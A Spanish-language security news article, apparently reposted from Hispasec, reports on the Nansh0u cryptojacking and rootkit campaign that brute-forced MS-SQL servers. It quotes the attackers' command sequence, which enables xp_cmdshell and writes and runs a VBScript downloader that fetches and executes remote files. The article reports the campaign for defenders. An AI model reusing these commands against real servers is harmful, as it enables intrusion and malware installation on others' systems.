• +(57 1) 745-7312
  • contacto@openitnet.com

NOTICIAS

Infectados más de 50.000 servidores MS-SQL y PHPMyAdmin con un rootkit

Investigadores del Guardicore Labs publicaron el pasado 29 de mayo un amplio informe detallando una campaña de cryptojacking que atacaba a servidores MS-SQL (Windows) y PHPMyAdmin. Esta campaña fue seguida por Guardicore Labs en los meses de abril y mayo.

Esta campaña maliciosa ha sido bautizada como Nansh0u, una campaña realizada por cibercriminales chinos que consiguieron infectar cerca de 50.000 servidores. Una vez que los servidores eran comprometidos, se infectaron con payloads maliciosos y éstos a su vez, utilizaron un crypto-miner e instalaron un sofisticado rootkit de modo kernel para evitar de esta manera que el malware finalice y asegurando una persistencia en el equipo infectado.

Esta campaña no es un típico crypto-miner. Nansh0u lo que utiliza son técnicas que se ven a menudo en APTs, como certificados falsos y explotaciones de escalada de privilegios. El problema reside que para ataques de este tipo, existe un gran arsenal de herramientas que pueden caer en malas manos y provocar daños mayores.

A principios de abril, Guardicore detectó y se centró en tres ataques de los que encontró que tenían una IP ubicada en Sudáfrica . Una vez visto esto, siguieron buscando y encontraron nuevas campañas datadas en febrero, elevando el número de payloads maliciosos detectados a 20. Este es el timeline de la campaña.

Este timeline, combinado con un conjunto de 5 ataques y 6 conexiones inversas a los distintos servidores ya mencionados, sugieren que este proceso ha sido establecido por un proceso de desarrollo continuo el cual fue debidamente pensado por los cibercriminales.

Gracias a esta investigación, Guardicore demuestra el crecimiento exponencial del número de infecciones, llegando al doble de infecciones en tan sólo un mes.

Cada ataque realizado comenzó con una serie de intentos de autenticación con ataques de fuerza bruta a servidores MS-SQL, llegando a obtener acceso a cuentas con privilegios de administrador. Esto es ocasionado por una mala política de contraseña. permitiendo contraseñas por defecto o débiles.

Tras obtener acceso, se ejecutaron una serie de comandos MS-SQL que permitían, entre otras cosas, configurar los ajustes de los servidores, crear un script Visual-Basic en c:\ProgramData\1.vbs, ejecutar este script y descargar dos archivos via HTTP y finalmente correr ambos archivos.

"
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 
1;RECONFIGURE;
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed 
Queries',1;RECONFIGURE;
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation 
Procedures
',1;RECONFIGURE


exec xp_cmdshell 'echo on error resume next >c:\ProgramData\2.vbs'
exec xp_cmdshell 'echo with wscript:if .arguments.count^<2 then .quit:end if >>c:\ProgramData\2.vbs'
exec xp_cmdshell 'echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") 
>>c:\ProgramData\2.vbs'
exec xp_cmdshell 'echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then quit 
>>c:\ProgramData\2.vbs'
exec xp_cmdshell 'echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile 
.arguments(1),2:end with >>c:\ProgramData\2.vbs'


exec xp_cmdshell 'cscript c:\ProgramData\2.vbs / c:\ProgramData\'
exec xp_cmdshell 'cscript c:\ProgramData\2.vbs / c:\ProgramData\'


exec xp_cmdshell 'c:\ProgramData\ c:\ProgramData\'
"

Los investigadores también elaboraron una lista completa de IoCs que publicaron en su Github y un script en Powershell que también hicieron público.

Como toda esta campaña comienza con una serie de intentos de accesos combinando usuarios y contraseñas por defecto o débiles para posteriormente proceder-como se ha comentado- a la infección de los distintos servidores; desde Hispasec recomendamos utilizar contraseñas robustas, que se cambien periódicamente y con 2FA para minimizar los daños de este y otros ataques.


Fuente: Hispasec.com

7. Gestión de Proyectos

2020-02-13 Hits:229

Las herramientas de gestión de proyectos son adecuadas para aquellas empresas que deben ejecutar múltiples actividades para completar una venta;

Leer Más...

6. Gestión de Listas de Correo

2019-06-17 Hits:591

Una excelente forma de mantenerse en contacto con los clientes y prospectos sobre novedades, lanzamientos, eventos y noticias de nuestra empresa es mediante la gestión de listas de correo. Como en el caso del servidor de correo, existen muchas opciones...

Leer Más...

5. Servidor Web.

2019-03-07 Hits:501

¡Muy bien! Ya tenemos nuestro flamante nuevo sitio web al aire, y todos nuestros clientes nos felicitan por lo lindo y moderno que quedó. Pero ahora viene lo interesante… ¿Como hacemos para mantenerlo actualizado y que nuestros visitantes se mantengan...

Leer Más...

Google pagará a los editores por noticias de “alta calidad” en tres países. Google pagará a los editores por el con… https://t.co/KW0wWHTSvH

Zoho lanzó CRM para pequeñas empresas, que arranca en 7 dólares mensuale. El nuevo CRM de Zoho, llamado Bigin, tien… https://t.co/BxZH7lUdWf

Somos una empresa de soluciones en consultoría informática, especializada en instalación de aplicaciones corporativas y administración de infraestructura tecnológica, con énfasis en pequeñas y medianas empresas (Pymes).

INFORMACIÓN

Calle 67 # 8-16 Of. 304 Bogotá, Colombia

+(57 1) 745-7312

This email address is being protected from spambots. You need JavaScript enabled to view it.

Tweets

Google pagará a los editores por noticias de “alta calidad” en tres países. Google pagará a los editores por el con… https://t.co/KW0wWHTSvH

Zoho lanzó CRM para pequeñas empresas, que arranca en 7 dólares mensuale. El nuevo CRM de Zoho, llamado Bigin, tien… https://t.co/BxZH7lUdWf

Search